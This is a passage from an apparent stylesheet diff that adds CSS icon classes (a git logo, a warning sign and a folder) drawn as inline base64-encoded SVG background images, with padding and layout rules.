N4PSIxMjcuMDEiIGN5PSIxMDcuMzMiIHJ4PSIxMi45MDgiIHJ5PSI1Ljc1NjMiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMzc4NDIiLz4KPGVsbGlwc2UgY3g9IjEyNyIgY3k9IjEwMS41OSIgcng9IjEzLjM3IiByeT0iNS45NjIxIiBmaWxsPSIjY2NjIiBzdHJva2U9IiMwMDAiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjM5MTk2Ii8+CjxwYXRoIGQ9Im0xNDAuODIgOTYuMzg5LTEuNDA5MSAxNi43NzIiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMzY1Ii8+CjxwYXRoIGQ9Im0xMTMuMjMgOTYuODE0IDEuMzMzOSAxNi40MDQiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMzY1Ii8+CjxlbGxpcHNlIGN4PSIxMjcuMDIiIGN5PSI5Ni4zODkiIHJ4PSIxMy45ODUiIHJ5PSI2LjIzNjYiIGZpbGw9IiM0ZDRkNGQiLz4KPHBhdGggZD0ibTExMy42OCAxMDAuMDEgMC4xNTcyNyAxLjgzMzQgMS4wNjIyLTIuMzE3OC0wLjUxNzgyLTAuNDUxMDJ6IiBmaWxsPSIjY2NjIi8+CjxwYXRoIGQ9Im0xNDAuMzUgOTkuOTkxLTAuMTgwODkgMS44NDUyLTEuMDM4NS0yLjMyOTcgMC41MTc4Mi0wLjQ1MTAyeiIgZmlsbD0iI2NjYyIvPgo8cGF0aCBkPSJtMTE0LjE0IDEwNS42NCAwLjE2MzE3IDEuODIxNiAxLjM0NTYtMi40ODkxLTAuNTQ3MzUtMC40MTU1OHoiIGZpbGw9IiNjY2MiLz4KPHBhdGggZD0ibTExNC42IDExMS41IDAuMTQ4OTIgMS42NzQ3IDEuMjcxLTIuNjAxOC0wLjQ0MjY1LTAuMzA5MDR6IiBmaWxsPSIjY2NjIi8+CjxwYXRoIGQ9Im0xMzkuODQgMTA1Ljk5LTAuMTM5NTUgMS42OTc2LTEuMzQ1Ni0yLjcwNzYgMC41MzU1My0wLjM5Nzg3eiIgZmlsbD0iI2NjYyIvPgo8cGF0aCBkPSJtMTM5LjQgMTExLjI1LTAuMTgwODkgMS44MzY5LTEuMjA1Ni0yLjQ5NjcgMC41MTc4Mi0wLjQ1MTAyeiIgZmlsbD0iI2NjYyIvPgo8cGF0aCBkPSJtMTE2LjQ0IDEwMC41YzAuMTA4MjUgMS43MTMzIDAuMjE2NDkgMy40MjY2IDAuMzI0NzQgNS4xMzk5LTAuMjMwOTgtMC4xMzkwNi0wLjQyMjM5LTAuMjIwMjctMC4zMTgxIDAuMTMwODkgMC4xMTgzOCAxLjc2OCAwLjIzNjc2IDMuNTM1OSAwLjM1NTE0IDUuMzAzOS0wLjE3MTE1LTAuMDY3Ni0wLjQ4NzU1LTAuMzYwMjQtMC4zNzQwNyAwLjAxMjkgMC4wOTQ4IDEuNTY3IDAuMTg5NjQgMy4xMzM5IDAuMjg0NDYgNC43MDA4IDAuNjE5MDggMC4zNjQxMiAxLjI0NDcgMC43MTUzNCAxLjkxNDUgMC45Nzg0NiAwLjY3MTQxIDAuMzE3ODYgMS4zOTY1IDAuNTAwNjggMi4xMDY3IDAuNzA5NTEgMC4zNzIxMiAwLjA4NzYgMC43NDQyNSAwLjE3NTIyIDEuMTE2NCAwLjI2MjgzIDAuMDIzNi01LjE5NTIgMC4wNDczLTEwLjM5IDAuMDcwOS0xNS41ODYtMC45ODYyMS0wLjIyNjExLTEuOTg1OC0wLjQwODE4LTIuOTYzNS0wLjY2MjEyLTAuODM5MDUtMC4zMzA1LTEuNjc4MS0wLjY2MTAxLTIuNTE3MS0wLjk5MTUyeiIgZmlsbD0iI2VmZjNlYiIgZmlsbC1vcGFjaXR5PSIuMzcxOSIvPgo8cGF0aCBkPSJtMTIxLjA1IDExNy41NnMwLjA3NDUtNy40MjU1IDAuMDI5Ni0xNS41ODZjLTEuNjQ4NS0wLjI3NTY3LTEuODkzNy0wLjQyMTg2LTEuODkzNy0wLjQyMTg2IDAuMDk3NCA3Ljc1NjUgMC4wODYxIDguMTUyNCAwLjAzOTEgMTUuNDQ2IDAuNTM4NCAwLjE3NzEgMS4wOTkzIDAuMzQyNzEgMS44MjUgMC41NjE1OHoiIGZpbGw9IiNmZmYiIGZpbGwtb3BhY2l0eT0iLjQ0NjI4Ii8+CjxwYXRoIGQ9Im0xMzcuMjUgMTAwLjY0Yy0wLjUzNDEyIDEuODk5My0xLjA2ODIgMy43OTg1LTEuNjAyNCA1LjY5NzgtMC4yMTg3MiAwLjE1NDUtMC42NTI4NyAwLjEyNjQtMC42NzIzIDAuNDQ5ODQtMC40NTc3MSAxLjg5MzgtMC45MTU0MyAzLjc4NzUtMS4zNzMyIDUuNjgxMy0wLjI4OTYzIDAuMDk2Ny0wLjY1MTcyIDAuMTAzNTMtMC44OTg2NSAwLjI1MzMxLTAuODg2MjQgMS44MzEyLTEuNzcyNSAzLjY2MjQtMi42NTg3IDUuNDkzNiAxLjY0NDEtMC40MzI1OCAzLjMwMTItMC44MzM2MiA0LjkzNzMtMS4yODU5IDEuMS0wLjYzNSAyLjItMS4yNyAzLjI5OTktMS45MDUgMC4zMjExNC0wLjY0MzUyIDAuNjkxMi0xLjI3MzIgMC45ODE3Mi0xLjkyNTQgMC4xODM4MS0zLjAyNjIgMC40NTczNC02LjA3NTQgMC43NTAwOC05LjA5MjNsMC40NzI2MS01Ljk0MjRjLTAuMzUxNjIgMC40ODUzNS0wLjE3MjA0IDAuMzI3NTctMC41OTg2NCAwLjc0OTgtMC40Njk0OSAwLjQ0NDExLTAuOTM3MDQgMC44OTA3My0xLjUxMjMgMS4xOTY5LTAuMzU2MzMgMC4yNDIyNC0wLjc0ODE5IDAuNDIyMS0xLjEyNTUgMC42MjgyMnoiIGZpbGw9IiNhOWFiYWIiIGZpbGwtb3BhY2l0eT0iLjQ3OTM0Ii8+CjxlbGxpcHNlIGN4PSIxMjcuMDIiIGN5PSI5NS44NTkiIHJ4PSIxMC42NzgiIHJ5PSI0Ljc2MTciIGZpbGw9IiM2NjYiLz4KPHBhdGggZD0ibTE0MC4wNiA5OC43NTMtMS4wMDIyIDUuNDc5LTAuMzM0MDkgMC40Njc3Mi0xLjI2OTYgNi4yODA4LTAuMjY3MjYgMC4yMDA0NS0xLjA2OTEgNS4zNDU0IDEuODA0MS0xLjA2OTEgMS4yNjk1LTEuNTM2OCAwLjEzMzY0LTEuODA0MSAxLjIwMjctMTQuMDk4eiIgZmlsbD0iIzdjN2U4MyIgZmlsbC1vcGFjaXR5PSIuNDc5MzQiLz4KPHBhdGggZD0ibTExNi4zNCA5NS44NDZjMC43Mzk4Mi0xLjY2NzkgMi40Mzc0LTIuNjY0NyA0LjA4ODgtMy4yNTYgNS4wMjQ1LTEuNjc0MSAxMS4zOTgtMS4zOTY1IDE1LjU4MSAxLjEyMDQgMC42NjE0NSAwLjQ2MzY2IDEuMjMyNyAxLjEwMTEgMS42MDUzIDEuODIzOSAwLjE0OTQyLTAuMDMzNi0wLjIzMDE3LTAuOTU0OTgtMC41NzgyNi0xLjMyMDQtMC42MjcyNS0wLjc3ODM2LTEuNTM4My0xLjI1ODUtMi40MTAyLTEuNzEyMi00LjQ2MjEtMi4wMjMxLTEwLjg1NS0xLjk2NTEtMTUuNTU4IDAuMTcwODQtMS4yMTc0IDAuNjM5OC0yLjE4MzggMS4zNjg0LTIuNjUyNCAyLjUyMjItMC4wNzEzIDAuMjA4MzctMC4wNjY1IDAuMzk4NTQtMC4wNDMyIDAuNjE3OXoiIGZpbGw9IiMzMzMiLz4KPGcgdHJhbnNmb3JtPSJtYXRyaXgoNC4wNzQ1IDAgMCA0LjA3NDUgLTE0OTcuNCAtNjg4KSIgc3Ryb2tlLXdpZHRoPSIuMjY0NTgiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWwiIGFyaWEtbGFiZWw9ImdpdCI+CjxwYXRoIGQ9Im0zOTguNDEgMTkyLjc4Yy0wLjAxNTYgMC4xMTYxLTAuMDgwOSAwLjIwMjA2LTAuMTk2NDEgMC4yNTMzOC0wLjExMzIxIDAuMDUxMy0wLjI3MzM3IDAuMDcwNS0wLjQ3MTczIDAuMDU0NC0wLjExNzctMC4wMS0wLjIxMDA0LTAuMDIyNy0wLjI3NzE2LTAuMDM5NS0wLjA2NTctMC4wMTUzLTAuMTE5NDgtMC4wMzMxLTAuMTYxNTYtMC4wNTMzIDAuMDU0NS0wLjAzNDYgMC4xMjI1OC0wLjEyNjc2IDAuMTIyNTgtMC4xMjY3NiAwLjAzNzkgMC4wMTUxIDAuMDgwOSAwLjAzIDAuMTI5MyAwLjA0NDggMC4wNDg1IDAuMDE0OCAwLjExNTIyIDAuMDI1OSAwLjIwMDI0IDAuMDMzMyAwLjA3OTMgN2UtMyAwLjE0NTI3IDdlLTMgMC4xOTczNCAyZS0zIDAuMDUzNS00ZS0zIDAuMDk4NC0wLjAxNjcgMC4xMzQxMi0wLjAzNjYgMC4wMzU0LTAuMDE4NiAwLjA2MjQtMC4wNDQ2IDAuMDgwNy0wLjA3NzYgMC4wMTgxLTAuMDMxOCAwLjAzMTItMC4wNzAyIDAuMDM5LTAuMTE0NzMgMC4wMTYzLTAuMDE5MSAwLjAxMzQtMC4wODMyIDAuMDEzNC0wLjA4MzIgOGUtMyA5ZS0zIC0wLjAxLTguNmUtNCAtMC4wMS04LjZlLTQgLTAuMDM5NSAwLjAzMDEtMC4wODg4IDAuMDUyMi0wLjE0NzQxIDAuMDY1OS0wLjA1ODMgMC4wMTI2LTAuMTMyMzEgMC4wMTUtMC4yMjEwNyA3ZS0zIC0wLjE4MDU3LTAuMDE2MS0wLjI5ODI0LTAuMDY0Ny0wLjM1NzczLTAuMTQxMy0wLjA1NzUtMC4wNzYyLTAuMDYwMi0wLjE4MjU0LTAuMDI0Ny0wLjMxMTkxIDAuMDM0MS0wLjEyNDA4IDAuMTAyNjEtMC4yMTI4NCAwLjIwNjUzLTAuMjczNjEgMC4xMDM2NC0wLjA2MTUgMC4yMzk5NS0wLjA5MjYgMC40MTA4OS0wLjA4ODQgMC4wODI0IDJlLTMgMC4xNTE4OSA4ZS0zIDAuMjA5NSAwLjAxOTMgMC4wNTkgMC4wMTEgMC4xMTE4MiAwLjAyMzYgMC4xNTg1NCAwLjAzNzktMWUtMyAwLjI2ODg1IDZlLTMgMC41MzA5LTAuMDM0NiAwLjgzMDM4em0tMC41MDIyOC0wLjE4ODg3YzAuMDg3OSA4ZS0zIDAuMTU5NDEtNC44ZS00IDAuMjEzMjQtMC4wMjQyIDAuMDU0LTAuMDI0OSAwLjA5NDEtMC4wNjY0IDAuMTE5NDEtMC4xMjM3MiAwLjAyNDMtMC4xMzIyNSAwLjAyNDItMC40MDYyNyAwLjAyNDItMC40MDYyNy0wLjA1OTEtMC4wMjIzLTAuMTMzODItMC4wMzQ3LTAuMjI1OS0wLjAzODEtMC4xMDA2NS00ZS0zIC0wLjE4MzM3IDAuMDE2Ny0wLjI0OTc1IDAuMDU5My0wLjA2NjYgMC4wNDI3LTAuMTA5OTYgMC4xMTA4Ny0wLjEzMTIgMC4yMDgxOC05ZS0zIDAuMDQxOS0wLjAxMjcgMC4wODEzLTAuMDEgMC4xMTgyMyAzZS0zIDAuMDM3IDAuMDEyNyAwLjA2OTkgMC4wMzExIDAuMDk4NyAwLjAxODMgMC4wMjg4IDAuMDQ1NyAwLjA1MjcgMC4wODI4IDAuMDcxNnMwLjA4NTkgMC4wMzExIDAuMTQ2MTYgMC4wMzYzbDdlLTUgMWUtNXoiLz4KPHBhdGggZD0ibTM5OC44MSAxOTEuOTNjMC4wNjkyIDAuMDEgMC4xNzM5NyA0ZS0zIDAuMTczOTcgNGUtMyAwLjA0NTcgMC4yOTQxNyAwLjA4OTIgMC44Njg0OSAwLjA4OTIgMC44Njg0OS0wLjA1OCAzZS0zIC0wLjIxMTY5LTAuMDE4OS0wLjIxMTY5LTAuMDE4OSAyZS0zIC0wLjMwMDA1LTAuMDI4Ny0wLjU3Mzg2LTAuMDUxNS0wLjg1NDExem0tMC4wNTItMC4yNTgyN2MtMWUtMyAtMC4wMjYzIDhlLTMgLTAuMDQ4OCAwLjAyNzctMC4wNjc1IDAuMDIwNi0wLjAxOTkgMC4wNDY2LTAuMDMwMSAwLjA3ODItMC4wMzA0IDAuMDMxNy0zZS00IDAuMDU5MiA5ZS0zIDAuMDgzNSAwLjAyOTMgMC4wMjQyIDAuMDE4NyAwLjAzNzggMC4wNDE2IDAuMDQwNiAwLjA2ODQgM2UtMyAwLjAyNjktNmUtMyAwLjA0OS0wLjAyODIgMC4wNjYyLTAuMDIxNyAwLjAxNzItMC4wNDk1IDAuMDI1Ni0wLjA4MjkgMC4wMjUzLTAuMDMzNC0yLjhlLTQgLTAuMDYxOS05ZS0zIC0wLjA4NS0wLjAyNjItMC4wMjE3LTAuMDE3Mi0wLjAzMjktMC4wMzg4LTAuMDMzOS0wLjA2NTF6Ii8+CjxwYXRoIGQ9Im0zOTkuMjEgMTkxLjk0YzAuMDY4NSAwLjAxMDEgMC4xNjk2MyA0ZS0zIDAuMTY5NjMgNGUtMyAtMWUtNCAtMC4wNTAzLTAuMDM1Ny0wLjE3NzY4LTAuMDM1Ny0wLjE3NzY4IDAuMDY1MS01ZS0zIDAuMTU3MDQtMC4wNDA4IDAuMTU3MDQtMC4wNDA4IDAuMDI5MSAwLjA4MzUgMC4wNTI2IDAuMjIyOSAwLjA1MjYgMC4yMjI5IDAuMTExMzIgMC4wMTE1IDAuMjk1NzcgOGUtMyAwLjI5NTc3IDhlLTMgMC4wMjU5IDAuMDUzMSAwLjAzODkgMC4xMzE1MiAwLjAzODkgMC4xMzE1Mi0wLjA4ODUgNWUtMyAtMC4zMDQtMC4wMTE2LTAuMzA0LTAuMDExNiAwLjA1MzIgMC4xNzcwOCAwLjEyMDIgMC41MDU1NCAwLjEyMDIgMC41MDU1NCAwLjAxNDYgMC4wNjM3IDAuMDM1NCAwLjEwOTk1IDAuMDYzOSAwLjEzOTA2IDAuMDI4MSAwLjAyNzggMC4wNjg5IDAuMDQ0MSAwLjEyMjMxIDAuMDQ4OCAwLjA0NDcgNGUtMyAwLjA4MTcgNGUtMyAwLjExMDkzIDQuNGUtNCAwLjAyODgtNWUtMyAwLjA2MDUtMC4wMTEzIDAuMDk0Ny0wLjAxOTQgMC4wNDE0IDAuMDQ5NSAwLjA4MTIgMC4xMTkxMyAwLjA4MTIgMC4xMTkxMy0wLjA0MjMgMC4wMTIyLTAuMDkwNSAwLjAyMDctMC4xNDQzIDAuMDI1OC0wLjA1MzggNWUtMyAtMC4xMTM4NyA0ZS0zIC0wLjE3OTUzLTFlLTMgLTAuMTA4NS0wLjAxLTAuMTg4NjUtMC4wMzc2LTAuMjM5ODgtMC4wODM0LTAuMDUxNi0wLjA0NzEtMC4wODQ1LTAuMTE5NTMtMC4xMDI4MS0wLjIxNzUzLTAuMDE5Ni0wLjE2NzY5LTAuMTA1NTMtMC41MjM4Ni0wLjEwNTUzLTAuNTIzODYtMC4wNDYgN2UtMyAtMC4xNzQzNS03ZS0zIC0wLjE3NDM1LTdlLTMgLTdlLTMgLTAuMDQwOS0wLjAxNDEtMC4wODE4LTAuMDIxMS0wLjEyMjgxeiIvPgo8L2c+CjxnIHRyYW5zZm9ybT0ibWF0cml4KDQuMDc0NSAwIDAgNC4wNzQ1IC0xNDk3LjUgLTY4OC4zMSkiIGZpbGw9IiNmZjAiIHN0cm9rZS13aWR0aD0iLjI2NDU4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsIiBhcmlhLWxhYmVsPSJnaXQiPgo8cGF0aCBkPSJtMzk4LjQxIDE5Mi43OGMtMC4wMTU2IDAuMTE2MS0wLjA4MDkgMC4yMDIwNi0wLjE5NjQxIDAuMjUzMzgtMC4xMTMyMSAwLjA1MTMtMC4yNzMzNyAwLjA3MDUtMC40NzE3MyAwLjA1NDQtMC4xMTc3LTAuMDEtMC4yMTAwNC0wLjAyMjctMC4yNzcxNi0wLjAzOTUtMC4wNjU3LTAuMDE1My0wLjExOTQ4LTAuMDMzMS0wLjE2MTU2LTAuMDUzMyAwLjA1NDUtMC4wMzQ2IDAuMTIyNTgtMC4xMjY3NiAwLjEyMjU4LTAuMTI2NzYgMC4wMzc5IDAuMDE1MSAwLjA4MDkgMC4wMyAwLjEyOTMgMC4wNDQ4IDAuMDQ4NSAwLjAxNDggMC4xMTUyMiAwLjAyNTkgMC4yMDAyNCAwLjAzMzMgMC4wNzkzIDdlLTMgMC4xNDUyNyA3ZS0zIDAuMTk3MzQgMmUtMyAwLjA1MzUtNGUtMyAwLjA5ODQtMC4wMTY3IDAuMTM0MTItMC4wMzY2IDAuMDM1NC0wLjAxODYgMC4wNjI0LTAuMDQ0NiAwLjA4MDctMC4wNzc2IDAuMDE4MS0wLjAzMTggMC4wMzEyLTAuMDcwMiAwLjAzOS0wLjExNDczIDAuMDE2My0wLjAxOTEgMC4wMTM0LTAuMDgzMiAwLjAxMzQtMC4wODMyIDhlLTMgOWUtMyAtMC4wMS04LjZlLTQgLTAuMDEtOC42ZS00IC0wLjAzOTUgMC4wMzAxLTAuMDg4OCAwLjA1MjItMC4xNDc0MSAwLjA2NTktMC4wNTgzIDAuMDEyNi0wLjEzMjMxIDAuMDE1LTAuMjIxMDcgN2UtMyAtMC4xODA1Ny0wLjAxNjEtMC4yOTgyNC0wLjA2NDctMC4zNTc3My0wLjE0MTMtMC4wNTc1LTAuMDc2Mi0wLjA2MDItMC4xODI1NC0wLjAyNDctMC4zMTE5MSAwLjAzNDEtMC4xMjQwOCAwLjEwMjYxLTAuMjEyODQgMC4yMDY1My0wLjI3MzYxIDAuMTAzNjQtMC4wNjE1IDAuMjM5OTUtMC4wOTI2IDAuNDEwODktMC4wODg0IDAuMDgyNCAyZS0zIDAuMTUxODkgOGUtMyAwLjIwOTUgMC4wMTkzIDAuMDU5IDAuMDExIDAuMTExODIgMC4wMjM2IDAuMTU4NTQgMC4wMzc5LTFlLTMgMC4yNjg4NSA2ZS0zIDAuNTMwOS0wLjAzNDYgMC44MzAzOHptLTAuNTAyMjgtMC4xODg4N2MwLjA4NzkgOGUtMyAwLjE1OTQxLTQuOGUtNCAwLjIxMzI0LTAuMDI0MiAwLjA1NC0wLjAyNDkgMC4wOTQxLTAuMDY2NCAwLjExOTQxLTAuMTIzNzIgMC4wMjQzLTAuMTMyMjUgMC4wMjQyLTAuNDA2MjcgMC4wMjQyLTAuNDA2MjctMC4wNTkxLTAuMDIyMy0wLjEzMzgyLTAuMDM0Ny0wLjIyNTktMC4wMzgxLTAuMTAwNjUtNGUtMyAtMC4xODMzNyAwLjAxNjctMC4yNDk3NSAwLjA1OTMtMC4wNjY2IDAuMDQyNy0wLjEwOTk2IDAuMTEwODctMC4xMzEyIDAuMjA4MTgtOWUtMyAwLjA0MTktMC4wMTI3IDAuMDgxMy0wLjAxIDAuMTE4MjMgM2UtMyAwLjAzNyAwLjAxMjcgMC4wNjk5IDAuMDMxMSAwLjA5ODcgMC4wMTgzIDAuMDI4OCAwLjA0NTcgMC4wNTI3IDAuMDgyOCAwLjA3MTZzMC4wODU5IDAuMDMxMSAwLjE0NjE2IDAuMDM2M2w3ZS01IDFlLTV6Ii8+CjxwYXRoIGQ9Im0zOTguODEgMTkxLjkzYzAuMDY5MiAwLjAxIDAuMTczOTcgNGUtMyAwLjE3Mzk3IDRlLTMgMC4wNDU3IDAuMjk0MTcgMC4wODkyIDAuODY4NDkgMC4wODkyIDAuODY4NDktMC4wNTggM2UtMyAtMC4yMTE2OS0wLjAxODktMC4yMTE2OS0wLjAxODkgMmUtMyAtMC4zMDAwNS0wLjAyODctMC41NzM4Ni0wLjA1MTUtMC44NTQxMXptLTAuMDUyLTAuMjU4MjdjLTFlLTMgLTAuMDI2MyA4ZS0zIC0wLjA0ODggMC4wMjc3LTAuMDY3NSAwLjAyMDYtMC4wMTk5IDAuMDQ2Ni0wLjAzMDEgMC4wNzgyLTAuMDMwNCAwLjAzMTctM2UtNCAwLjA1OTIgOWUtMyAwLjA4MzUgMC4wMjkzIDAuMDI0MiAwLjAxODcgMC4wMzc4IDAuMDQxNiAwLjA0MDYgMC4wNjg0IDNlLTMgMC4wMjY5LTZlLTMgMC4wNDktMC4wMjgyIDAuMDY2Mi0wLjAyMTcgMC4wMTcyLTAuMDQ5NSAwLjAyNTYtMC4wODI5IDAuMDI1My0wLjAzMzQtMi44ZS00IC0wLjA2MTktOWUtMyAtMC4wODUtMC4wMjYyLTAuMDIxNy0wLjAxNzItMC4wMzI5LTAuMDM4OC0wLjAzMzktMC4wNjUxeiIvPgo8cGF0aCBkPSJtMzk5LjIxIDE5MS45NGMwLjA2ODUgMC4wMTAxIDAuMTY5NjMgNGUtMyAwLjE2OTYzIDRlLTMgLTFlLTQgLTAuMDUwMy0wLjAzNTctMC4xNzc2OC0wLjAzNTctMC4xNzc2OCAwLjA2NTEtNWUtMyAwLjE1NzA0LTAuMDQwOCAwLjE1NzA0LTAuMDQwOCAwLjAyOTEgMC4wODM1IDAuMDUyNiAwLjIyMjkgMC4wNTI2IDAuMjIyOSAwLjExMTMyIDAuMDExNSAwLjI5NTc3IDhlLTMgMC4yOTU3NyA4ZS0zIDAuMDI1OSAwLjA1MzEgMC4wMzg5IDAuMTMxNTIgMC4wMzg5IDAuMTMxNTItMC4wODg1IDVlLTMgLTAuMzA0LTAuMDExNi0wLjMwNC0wLjAxMTYgMC4wNTMyIDAuMTc3MDggMC4xMjAyIDAuNTA1NTQgMC4xMjAyIDAuNTA1NTQgMC4wMTQ2IDAuMDYzNyAwLjAzNTQgMC4xMDk5NSAwLjA2MzkgMC4xMzkwNiAwLjAyODEgMC4wMjc4IDAuMDY4OSAwLjA0NDEgMC4xMjIzMSAwLjA0ODggMC4wNDQ3IDRlLTMgMC4wODE3IDRlLTMgMC4xMTA5MyA0LjRlLTQgMC4wMjg4LTVlLTMgMC4wNjA1LTAuMDExMyAwLjA5NDctMC4wMTk0IDAuMDQxNCAwLjA0OTUgMC4wODEyIDAuMTE5MTMgMC4wODEyIDAuMTE5MTMtMC4wNDIzIDAuMDEyMi0wLjA5MDUgMC4wMjA3LTAuMTQ0MyAwLjAyNTgtMC4wNTM4IDVlLTMgLTAuMTEzODcgNGUtMyAtMC4xNzk1My0xZS0zIC0wLjEwODUtMC4wMS0wLjE4ODY1LTAuMDM3Ni0wLjIzOTg4LTAuMDgzNC0wLjA1MTYtMC4wNDcxLTAuMDg0NS0wLjExOTUzLTAuMTAyODEtMC4yMTc1My0wLjAxOTYtMC4xNjc2OS0wLjEwNTUzLTAuNTIzODYtMC4xMDU1My0wLjUyMzg2LTAuMDQ2IDdlLTMgLTAuMTc0MzUtN2UtMyAtMC4xNzQzNS03ZS0zIC03ZS0zIC0wLjA0MDktMC4wMTQxLTAuMDgxOC0wLjAyMTEtMC4xMjI4MXoiLz4KPC9nPgo8L2c+Cjwvc3ZnPgo\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding:2.25em 2em 2.25em 2em;\n+\tmargin: 0 0.8em;\n+\tbackground-repeat: no-repeat;\n+\tline-height:100%;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.warning {\n+\tdisplay: inline-block;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxNC43OTg5OCAxMy4zMjM5NjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTg5LjM2MiA0OC4zMjkpIj48cGF0aCBkPSJtODkuNjAxLTM2LjY1M2MyLjE5MTktMy43MDEyIDQuMzUtNy40MjMxIDYuNTYzNi0xMS4xMTEgMC4yNjk1LTAuNjE3OTQgMS4wMDk2LTAuODI5NjIgMS40Njk1LTAuMTEzNTggMC40MDA1OSAwLjgwMDg4IDAuNzM1MzggMS4zNTMxIDEuMDg1OSAyLjAzNzIgMS43NTU5IDMuMDQwNSAzLjUxMTggNi4wODA5IDUuMjY3NyA5LjEyMTQgMC4yOTM5MSAwLjY0NTgyIDAuMjM4MzkgMS4zMjMxLTAuMzUwMTQgMS42NDU3LTAuNzQzODkgMC4xMTU0Ni0xLjE5NTQgMC4wMjY3LTEuODA2NCAwLjA1MDktMy43Ny0wLjAxMTktNy41NDA3IDAuMDI4OC0xMS4zMTEgMC4wMTUyLTAuNjczNzMgMC4wNDcyLTEuMzU0NC0wLjY0NDQ0LTEuMTA1My0xLjI3MzYgMC4wNjItMC4xMjQwNCAwLjEyNDEzLTAuMjQ4MSAwLjE4NjEtMC4zNzIxM3oiIGZpbGw9IiNmMDAiLz48cGF0aCBkPSJtOTEuMzQ3LTM3LjQ3NWMxLjY2NzQtMi44MTU0IDMuMzA4OS01LjY0NjYgNC45OTI4LTguNDUyIDAuMjA1MDEtMC40NzAwNiAwLjc2ODAxLTAuNjMxMDggMS4xMTc4LTAuMDg2NCAwLjMwNDcyIDAuNjA5MjEgMC41NTkzOSAxLjAyOTMgMC44MjYwMyAxLjU0OTYgMS4zMzU3IDIuMzEyOCAyLjY3MTQgNC42MjU2IDQuMDA3IDYuOTM4NCAwLjIyMzU3IDAuNDkxMjcgMC4xODEzMyAxLjAwNjUtMC4yNjYzNSAxLjI1MTktMC41NjU4NiAwLjA4NzgtMC45MDkzMSAwLjAyMDMtMS4zNzQxIDAuMDM4Ny0yLjg2NzgtOWUtMyAtNS43MzYgMC4wMjE5LTguNjA0IDAuMDExNi0wLjUxMjQ5IDAuMDM1OS0xLjAzMDMtMC40OTAyMS0wLjg0MDc0LTAuOTY4OCAwLjA0NzItMC4wOTQ0IDAuMDk0NC0wLjE4ODczIDAuMTQxNTYtMC4yODMwN3oiIGZpbGw9IiNmZmYiLz48cGF0aCBkPSJtOTYuMTYyLTM5Ljc5MmMtMC4xMTQyNS0xLjI2MzgtMC4yMjg0OS0yLjUyNzctMC4zNDI3NC0zLjc5MTUtMmUtMyAtMC41OTY2OSAwLjU5MjkxLTEuMDk5OCAxLjE4MDMtMC45MDU0MiAwLjYxMDA2IDAuMDQyOSAwLjg2MjA3IDAuNjg4NjcgMC43MzIwOCAxLjIyMjEtMC4yMTU3OCAxLjIyMDctMC4zMjI1MiAyLjQ2LTAuNTgyMzQgMy42NzM0LTAuMTY1NDUgMC41MTQ3Mi0wLjk4Nzk1IDAuNDM5MDUtMC45NjY1Ny0wLjE0MTY4bC0wLjAyMDgtMC4wNTY5eiIvPjxjaXJjbGUgY3g9Ijk2LjY2NSIgY3k9Ii0zNy44MzIiIHI9Ii43ODE4NyIvPjwvZz48L3N2Zz4\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding:2.25em 2em 2.25em 2em;\n+\tmargin: 0 0.8em;\n+\tbackground-repeat: no-repeat;\n+\tline-height:100%;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.oneem {\n+\tpadding:0.6em;\n+}\n+\n+img.folder {\n+\tdisplay: inline-block;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMjMuOTA0ODggOTIuMjYwNzA0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxsaW5lYXJHcmFkaWVudCBpZD0iYSIgeDE9IjU0MC45NyIgeDI9IjQ4MC4zNyIgeTE9IjIyOC4xMSIgeTI9IjE1OC45OSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgtNDIyLjQ4IC03MS4zMTMpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNhY2I0NDkiIG9mZnNldD0iMCIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjZTdlMGIzIiBvZmZzZXQ9IjEiLz4KCQk8L2xpbmVhckdyYWRpZW50PgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDUxMzgzIiB5PSItLjYxMTQ1IiB3aWR0aD0iMS4xMDI4IiBoZWlnaHQ9IjIuMjIyOSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMS4zOTM5MDg0Ii8+CgkJPC9maWx0ZXI+Cgk8L2RlZnM+C